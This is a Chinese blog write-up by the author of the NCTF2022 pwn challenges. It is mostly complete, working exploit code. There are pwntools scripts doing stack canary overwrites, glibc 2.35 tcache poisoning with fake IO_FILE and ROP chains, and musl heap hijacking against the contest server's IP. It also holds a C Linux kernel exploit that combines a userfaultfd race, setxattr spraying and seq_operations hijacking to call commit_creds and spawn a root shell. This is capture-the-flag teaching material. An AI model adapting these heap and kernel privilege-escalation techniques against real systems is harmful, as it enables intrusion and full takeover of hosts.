• NCTF2022 - pwn 部分 wp


    总的来说我出的几题不是很难,主要是想把自己感觉有意思的一些东西分享给大家。

    ezlogin

    程序设计周大作业稍加改编出的题目。洞在Tea里,有个数组越界写,为了避开\x00截断,我给了*可以对其进行替换。最后base64带出flag。

    from pwn import*
    context(os='linux',arch='amd64',log_level='debug')
    
    s = remote('49.233.15.226', 8001)
    
    canary = u64(s.recv(7).rjust(8,b'\x00'))
    success('canary=>' + hex(canary))
    
    s.sendlineafter(b"3.exit\n>> ", b"1")
    
    s.sendlineafter(b"Please put the content you want to encrypt into '1.txt'", b'a'*0x52 + b'*'+chr((canary>>32)&0xff).encode()+b'c'*6+b'\x75**')
    
    s.sendlineafter(b"When you finish  please input 'Y'\n", b"Y")
    s.sendlineafter(b"5.RC4\n>> ", b"4")
    s.sendlineafter(b"for example: 0x10 0x20 0x30 0x10 \n> ", b"0x10 0x20 0x30 0x10")
    
    sleep(1)
    s.sendline(b"echo `base64 /flag` | base64 -d")
    s.interactive()
    

    2.35堆利用,两次show,一次泄露heap_base,(可以反推,不过我直接用笨办法本地硬跑一下)利用沙盒残留的地址泄露libc_base,其他随便找个IO打一下即可。

    from pwn import*
    import time
    context(os='linux',arch='amd64',log_level='debug')
    
    libc = ELF('./libc-2.35.s0')
    
    def add(content):
    	s.sendlineafter(b'>> ', b'1')
    	s.sendafter(b'Please input your secret\n', content)
    
    def delete():
    	s.sendlineafter(b'>> ', b'2')
    
    def show():
    	s.sendlineafter(b'>> ', b'3')
    
    def edit(content):
    	s.sendlineafter(b'>> ', b'4')
    	s.sendafter(b'Please input content\n', content)
    
    def get_heap_base(target):
    	start_time = time.time()
    	base = 0x550000000000
    	while(1):
    		if(((base+0x1000)>>12) ^ (base+0x1590) == target):
    			end_time = time.time()
    			print(end_time-start_time)
    			return base
    		if(base == 0x560000000000):
    			end_time = time.time()
    			print(end_time-start_time)
    			print('[-] get heap base failed')
    			return 0xdeadbeef
    		base+= 0x1000
    
    def pwn():
    	add(b'a')
    	delete()
    	add(b'\x00')
    	show()
    	s.recvuntil(b'you only have two chances to peep a secret\n')
    	heap_base = u64(s.recv(6).ljust(8,b'\x00'))
    	success(hex(heap_base))
    	assert(heap_base & 0xff0000000000 == 0x550000000000)
    	heap_base = get_heap_base(heap_base)
    	assert(heap_base & 0xfff == 0)
    	success('heap_base=>' + hex(heap_base))
    
    	delete()
    	edit(p64(((heap_base+0x1000)>>12)^(heap_base+0x300)))
    	add(b'\x60')
    	show()
    	libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x246d60
    	success('libc_base=>' + hex(libc_base))
    
    	pop_rax_ret = libc_base + 0x0000000000045eb0
    	pop_rdi_ret = libc_base + 0x000000000002a3e5
    	pop_rsi_ret = libc_base + 0x000000000002be51
    	pop_rdx_ret_r12 = libc_base + 0x000000000011f497
    	pop_rsp_ret = libc_base + 0x0000000000035732
    	syscall_ret = libc_base + 0x0000000000091396
    
    	rop_addr = heap_base
    	orw_addr = heap_base
    	fake_IO_addr = heap_base + 0x17e0
    
    	fake_IO_file = p64(0) + p64(0)
    	fake_IO_file+= p64(0)*3 + p64(1)                     # IO
    	fake_IO_file+= p64(0)*7 + p64(0)                     # _chain
    	fake_IO_file+= p64(0) + p64(0xffffffffffffffff) + p64(0)
    	fake_IO_file+= p64(heap_base + 0x1000) + p64(0xffffffffffffffff) + p64(0)
    	fake_IO_file+= p64(heap_base + 0x1e10 + 0x50 - 0xe0) # _wide_data
    	fake_IO_file+= p64(0)*2 + p64(1) + p64(0)*5
    	fake_IO_file+= p64(libc_base + libc.sym['_IO_wfile_jumps'])
    
    	print(hex(len(fake_IO_file)))
    
    	add(fake_IO_file[:0xd0])
    
    	add(b'a')
    	delete()
    	edit(p64(((heap_base+0x1000)>>12)^(heap_base+0x18a0)))
    	add(fake_IO_file[0xd0:])
    
    	add(b'a')
    	delete()
    	edit(p64(((heap_base+0x1000)>>12)^(libc_base+libc.sym['_IO_list_all'])))
    	add(p64(fake_IO_addr))
    
    	payload = p64(libc_base + libc.sym['setcontext'] + 61) + p64(0)
    	payload+= p64(heap_base + 0x1e10 + 0x58) + p64(pop_rdi_ret + 1)
    	payload+= p64(0)*6
    	payload+= p64(heap_base + 0x1e10 - 0x68)
    	payload+= p64(pop_rdi_ret) + p64(0)
    	payload+= p64(pop_rsi_ret) + p64(heap_base + 0x3000)
    	payload+= p64(pop_rdx_ret_r12) + p64(0x500) + p64(0)
    	payload+= p64(libc_base + libc.sym['read'])
    	payload+= p64(pop_rsp_ret) + p64(heap_base + 0x3000)
    
    	add(payload) # _wide_vtable
    
    	# open
    	orw = p64(pop_rdi_ret) + p64(heap_base + 0x3000 + 0x300)
    	orw+= p64(pop_rsi_ret) + p64(0)
    	orw+= p64(pop_rdx_ret_r12) + p64(0) + p64(0)
    	orw+= p64(libc_base + libc.sym['open'])
    	# getdents64
    	orw+= p64(pop_rdi_ret) + p64(3)
    	orw+= p64(pop_rsi_ret) + p64(heap_base + 0x5000)
    	orw+= p64(pop_rdx_ret_r12) + p64(0x200) + p64(0)
    	orw+= p64(pop_rax_ret) + p64(217)
    	orw+= p64(syscall_ret)
    	# write
    	orw+= p64(pop_rdi_ret) + p64(1)
    	orw+= p64(pop_rsi_ret) + p64(heap_base + 0x5000)
    	orw+= p64(pop_rdx_ret_r12) + p64(0x200) + p64(0)
    	orw+= p64(libc_base + libc.sym['write'])
    	# open
    	orw+= p64(pop_rdi_ret) + p64(heap_base + 0x5000 + 0xa3)
    	orw+= p64(pop_rsi_ret) + p64(0)
    	orw+= p64(pop_rdx_ret_r12) + p64(0) + p64(0)
    	orw+= p64(libc_base + libc.sym['open'])
    	# read
    	orw+= p64(pop_rdi_ret) + p64(4)
    	orw+= p64(pop_rsi_ret) + p64(heap_base + 0x6000)
    	orw+= p64(pop_rdx_ret_r12) + p64(0x200) + p64(0)
    	orw+= p64(libc_base + libc.sym['read'])
    	# puts
    	orw+= p64(pop_rdi_ret) + p64(heap_base + 0x6000)
    	orw+= p64(libc_base + libc.sym['puts'])
    	# exit
    	orw+= p64(libc_base + libc.sym['exit'])
    	
    	orw = orw.ljust(0x300,b'\x00')
    	orw+= b'.\x00'
    
    	s.sendlineafter(b'>> ', b'5') # b _IO_wdoallocbuf
    
    	sleep(1)
    	s.sendline(orw)
    
    	s.recvuntil(b'NCTF')
    	success(b'NCTF' + s.recvuntil(b'}'))
    
    	s.interactive()
    
    while True:
    	try:
    		s = remote('49.233.15.226', 8003)
    		pwn()
    	except:
    		s.close()
    		continue
    

    babyLinkedList

    1.2.2的musl,给了任意地址写,可以打栈,可以伪造meta,本地和远程布局稍有不同,给出了部分dockerfile可以拉个docker出来看看。最后加了个suid date提权

    from pwn import*
    context(os='linux',arch='amd64',log_level='debug')
    
    s = remote('49.233.15.226', 8002)
    
    def add(size,content):
    	s.sendlineafter(b'>> ', b'1')
    	s.sendlineafter(b'Please input size\n', str(size))
    	s.sendafter(b'Please input content\n', content)
    
    def delete():
    	s.sendlineafter(b'>> ', b'2')
    
    def show():
    	s.sendlineafter(b'>> ', b'3')
    
    def edit(content):
    	s.sendlineafter(b'>> ', b'4')
    	sleep(0.1)
    	s.send(content)
    
    add(0x20, b'a')
    add(0x18, b'a')
    edit(b'a'*0x20)
    show()
    # 0x7f60b75bcce0
    libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))  - 0xa6ce0
    success('libc_base=>' + hex(libc_base))
    
    __malloc_context = libc_base + 0xa3aa0
    __stdout_used = libc_base + 0xa3410
    
    edit(b'\x00'*0x18 + b'\x00'*5 + b'\x81' + b'\x02\x00' + p64(__stdout_used))
    
    edit(p64(libc_base - 0x4000))
    
    payload = b'/home/ctf/flag'+b'\x00'*(0x10-14)#b'\x00'*0x10
    payload+= p64(libc_base - 0x4000 + 0x50)
    payload+= p64(libc_base  + 0x0000000000015286) # ret
    payload+= b'\x00'*8
    payload+= p64(libc_base + 0x0000000000050e9c) # mov rsp, qword ptr [rdi + 0x30]; jmp qword ptr [rdi + 0x38];
    
    
    # open
    payload+= p64(libc_base + 0x0000000000015c8e) + p64(libc_base - 0x4000 + 0x20)
    payload+= p64(libc_base + 0x0000000000016242) + p64(0)
    payload+= p64(libc_base + 0x0000000000019418) + p64(0)
    payload+= p64(libc_base + 0x0000000000018644) + p64(2)
    payload+= p64(libc_base + 0x0000000000022747)
    
    # read
    payload+= p64(libc_base + 0x0000000000015c8e) + p64(3)
    payload+= p64(libc_base + 0x0000000000016242) + p64(libc_base - 0x4000 + 0x1000)
    payload+= p64(libc_base + 0x0000000000019418) + p64(0x100)
    payload+= p64(libc_base + 0x0000000000018644) + p64(0)
    payload+= p64(libc_base + 0x0000000000022747)
    
    # write
    payload+= p64(libc_base + 0x0000000000015c8e) + p64(1)
    payload+= p64(libc_base + 0x0000000000016242) + p64(libc_base - 0x4000 + 0x1000)
    payload+= p64(libc_base + 0x0000000000019418) + p64(0x100)
    payload+= p64(libc_base + 0x0000000000018644) + p64(1)
    payload+= p64(libc_base + 0x0000000000022747)
    
    # execv
    payload+= p64(libc_base + 0x0000000000015c8e) + p64(libc_base + 0xA120F)
    payload+= p64(libc_base + 0x0000000000016242) + p64(0)
    payload+= p64(libc_base + 0x0000000000019418) + p64(0)
    payload+= p64(libc_base + 0x0000000000018644) + p64(59)
    payload+= p64(libc_base + 0x0000000000022747)
    
    add(0x1500, payload)
    
    s.sendlineafter(b'>> ', b'0')
    
    sleep(1)
    
    s.sendline(b"date -f /home/ctf/flag")
    s.interactive()
    

    babyyLinkedList

    userfaultfd+setxatter占位,seq打ROP。

    #define _GNU_SOURCE
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    
    #define PAGE_SIZE 0x1000
    
    int fd;
    int ret;
    sem_t sem_delete;
    size_t seq_fd;
    size_t seq_fds[0x100];
    size_t kernel_offset;
    char *user_buf;
    char *sleep_buf;
    
    void ErrExit(char* err_msg)
    {
    	puts(err_msg);
    	exit(-1);
    }
    
    void get_shell()
    {
    	if (getuid() == 0)
    	{
    		puts("\033[32m\033[1m[+] Successful to get the root.\033[0m");
    		system("cat /flag;/bin/sh");
    	}
    	else
    	{
    		puts("[-] get shell error");
    		exit(1);
    	}
    }
    
    void register_userfault(void *fault_page,void *handler)
    {
    	pthread_t thr;
    	struct uffdio_api ua;
    	struct uffdio_register ur;
    	uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    	ua.api = UFFD_API;
    	ua.features = 0;
    	if(ioctl(uffd, UFFDIO_API, &ua) == -1)
    		ErrExit("[-] ioctl-UFFDIO_API error");
    	
    	ur.range.start = (unsigned long)fault_page; // the area we want to monitor
    	ur.range.len = PAGE_SIZE;
    	ur.mode = UFFDIO_REGISTER_MODE_MISSING;
    	if(ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) // register missing page error handling. when a missing page occurs, the program will block. at this time, we will operate in another thread
    		ErrExit("[-] ioctl-UFFDIO_REGISTER error");
    	// open a thread, receive the wrong signal, and the handle it
    	int s = pthread_create(&thr, NULL, handler, (void*)uffd);
    	if(s!=0)
    		ErrExit("[-] pthread-create error");
    }
    
    typedef struct
    {
    	uint64_t size;
    	char *buf;
    }Data;
    
    
    void add(uint64_t size, char *buf)
    {
    	Data data;
    	data.size = size;
    	data.buf = buf;
    	ioctl(fd, 0x6666, &data);
    }
    
    void delete(char *buf)
    {
    	Data data;
    	data.size = 0;
    	data.buf = buf;
    	ioctl(fd, 0x7777, &data);
    }
    
    void* delete_thread(void* index)
    {
    	puts("[+] delete thread start");
    	sem_wait(&sem_delete);
    	delete(sleep_buf);
    	return NULL;
    }
    
    void *userfault_leak_handler(void *arg)
    {
    	struct uffd_msg msg;
    	unsigned long uffd = (unsigned long)arg;
    	
    	struct pollfd pollfd;
    	int nready;
    	pollfd.fd = uffd;
    	pollfd.events = POLLIN;
    	nready = poll(&pollfd, 1, -1);
    	
    	if(nready != 1)
    		ErrExit("[-] wrong poll return value");
    	nready = read(uffd, &msg, sizeof(msg));
    	if(nready<=0)
    		ErrExit("[-] msg error");
    	
    	char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    	if(page == MAP_FAILED)
    		ErrExit("[-] mmap error");
    	struct uffdio_copy uc;
    
    	puts("\033[34m\033[1m[+] leak handler created\033[0m");
    	pthread_t thr_delete;
    	pthread_create(&thr_delete, NULL, delete_thread, (void*)0);
    	sem_post(&sem_delete);
    
    	sleep(1);
    	if ((seq_fd = open("/proc/self/stat", O_RDONLY)) < 0)
    		ErrExit("open stat error");
    
    	// init page
    	memset(page, 0, sizeof(page));
    	uc.src = (unsigned long)page;
    	uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
    	uc.len = PAGE_SIZE;
    	uc.mode = 0;
    	uc.copy = 0;
    	ioctl(uffd, UFFDIO_COPY, &uc);
    	puts("[+] leak handler done");
    }
    
    void *userfault_write_handler(void *arg)
    {
    	struct uffd_msg msg;
    	unsigned long uffd = (unsigned long)arg;
    	
    	struct pollfd pollfd;
    	int nready;
    	pollfd.fd = uffd;
    	pollfd.events = POLLIN;
    	nready = poll(&pollfd, 1, -1);
    	
    	if(nready != 1)
    		ErrExit("[-] wrong poll return value");
    	nready = read(uffd, &msg, sizeof(msg));
    	if(nready<=0)
    		ErrExit("[-] msg error");
    	
    	char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    	if(page == MAP_FAILED)
    		ErrExit("[-] mmap error");
    	struct uffdio_copy uc;
    
    	puts("\033[34m\033[1m[+] write handler created\033[0m");
    
    	pthread_t thr_delete;
    	pthread_create(&thr_delete, NULL, delete_thread, (void*)1);
    	sem_post(&sem_delete);
    	
    	sleep(1);
    
    	memset(page, 0, sizeof(page));
    	uc.src = (unsigned long)page;
    	uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
    	uc.len = PAGE_SIZE;
    	uc.mode = 0;
    	uc.copy = 0;
    	ioctl(uffd, UFFDIO_COPY, &uc);
    	puts("[+] write handler done");
    }
    
    void *userfault_sleep_handler(void *arg)
    {
    	struct uffd_msg msg;
    	unsigned long uffd = (unsigned long)arg;
    	
    	struct pollfd pollfd;
    	int nready;
    	pollfd.fd = uffd;
    	pollfd.events = POLLIN;
    	nready = poll(&pollfd, 1, -1);
    	
    	if(nready != 1)
    		ErrExit("[-] wrong poll return value");
    	nready = read(uffd, &msg, sizeof(msg));
    	if(nready<=0)
    		ErrExit("[-] msg error");
    	
    	char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    	if(page == MAP_FAILED)
    		ErrExit("[-] mmap error");
    	struct uffdio_copy uc;
    
    	puts("[+] sleep handler created");
    	sleep(100);
    
    	// init page
    	memset(page, 0, sizeof(page));
    	uc.src = (unsigned long)page;
    	uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
    	uc.len = PAGE_SIZE;
    	uc.mode = 0;
    	uc.copy = 0;
    	ioctl(uffd, UFFDIO_COPY, &uc);
    	puts("[+] sleep handler done");
    }
    
    size_t pop_rdi_ret = 0xffffffff81086aa0;
    size_t pop_rbp_ret = 0xffffffff810005ae;
    size_t init_cred = 0xffffffff82a5fa40;
    size_t commit_creds = 0xffffffff810c3d30;
    size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00a44;
    size_t add_rsp_ret = 0xffffffff8188fba1;
    
    void *userfault_hijack_handler(void *arg)
    {
    	struct uffd_msg msg;
    	unsigned long uffd = (unsigned long)arg;
    	
    	struct pollfd pollfd;
    	int nready;
    	pollfd.fd = uffd;
    	pollfd.events = POLLIN;
    	nready = poll(&pollfd, 1, -1);
    	
    	if(nready != 1)
    		ErrExit("[-] wrong poll return value");
    	nready = read(uffd, &msg, sizeof(msg));
    	if(nready<=0)
    		ErrExit("[-] msg error");
    	
    	char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    	if(page == MAP_FAILED)
    		ErrExit("[-] mmap error");
    	struct uffdio_copy uc;
    
    	puts("\033[34m\033[1m[+] hijack handler created\033[0m");
    	puts("[+] tigger..");
    
    	pop_rdi_ret += kernel_offset;
    	pop_rbp_ret += kernel_offset;
    	init_cred += kernel_offset;
    	commit_creds += kernel_offset;
    	swapgs_restore_regs_and_return_to_usermode += kernel_offset;
    
    	__asm__(
    	"mov r15,   0x1111111111;"
    	"mov r14,   0x2222222222;"
    	"mov r13,   0x3333333333;"
    	"mov r12,   pop_rdi_ret;"
    	"mov rbp,   init_cred;"
    	"mov rbx,   pop_rbp_ret;"    
    	"mov r11,   0x246;"
    	"mov r10,   commit_creds;"
    	"mov r9,    swapgs_restore_regs_and_return_to_usermode;"
    	"mov r8,    0xaaaaaaaaaa;"
    	"xor rax,   rax;"
    	"mov rcx,   0xbbbbbbbbbb;"
    	"mov rdx,   8;"
    	"mov rsi,   rsp;"
    	"mov rdi,   seq_fd;"
    	"syscall"
    	);
    
    	printf("[+] uid: %d gid: %d\n", getuid(), getgid());
    	get_shell();
            
    	// init page
    	memset(page, 0, sizeof(page));
    	uc.src = (unsigned long)page;
    	uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
    	uc.len = PAGE_SIZE;
    	uc.mode = 0;
    	uc.copy = 0;
    	ioctl(uffd, UFFDIO_COPY, &uc);
    	puts("[+] hijack handler done");
    }
    
    int main()
    {
    	char *leak_buf;
    	char *write_buf;
    	char* hijack_buf;
    	char leak_data[0x10];
    	char write_data[0x10];
    	cpu_set_t cpu_set;
    
    	CPU_ZERO(&cpu_set);
    	CPU_SET(0, &cpu_set);
    	sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
    
    	sem_init(&sem_delete, 0, 0);
    
    	fd = open("/proc/babyLinkedList", O_RDONLY);
    	
    	//for(int i=0; i<100; i++)
    	//	if ((seq_fds[i] = open("/proc/self/stat", O_RDONLY)) < 0)
    	//		ErrExit("open stat error");
    
    	leak_buf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    	register_userfault(leak_buf, userfault_leak_handler);
    	
    	write_buf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    	register_userfault(write_buf, userfault_write_handler);
    	
    	sleep_buf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    	register_userfault(sleep_buf, userfault_sleep_handler);
    
    	add(0x20, leak_buf);
    	delete(leak_data);
    	kernel_offset = ((size_t*)leak_data)[0];
    	kernel_offset-= 0xffffffff812f2db0;
    	printf("\033[33m\033[1m[+] kernel offset: 0x%lx\033[0m\n", kernel_offset);
    
    	add(0x20, write_buf);
    
    	hijack_buf = (char*)mmap(NULL, 2*PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    	register_userfault(hijack_buf+PAGE_SIZE, userfault_hijack_handler);
    	*(size_t*)(hijack_buf + PAGE_SIZE - 8) = 0xffffffff8188fba1 + kernel_offset;
    
    	setxattr("/tmp/exp", "FXC", hijack_buf + PAGE_SIZE - 8, 32, 0);
    	return 0;
    }
    

    __EOF__

  • 本文作者: 狒猩橙
  • 本文链接: https://www.cnblogs.com/pwnfeifei/p/16953138.html
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • 相关阅读:
    Python Opencv实践 - SIFT关键点检测
    数据结构实验4 二叉搜索树与平衡二叉树(C语言实现+详细注释)
    [Git]Git - GitHub远程仓库操作
    模板测试和深度测试在cocoscreator中的应用
    grpc、https、oauth2等认证专栏实战9:https双向认证介绍
    含分布式电源的配电网可靠性评估(matlab代码)
    计算机网络(TCP协议)
    Python每日一练(牛客新题库)——第11天:循环语句
    【JAVA】网页版登录注册系统
    [Mybatis-Plus笔记] MybatisPlus-03-QueryWrapper条件构造器
  • 原文地址:https://www.cnblogs.com/pwnfeifei/p/16953138.html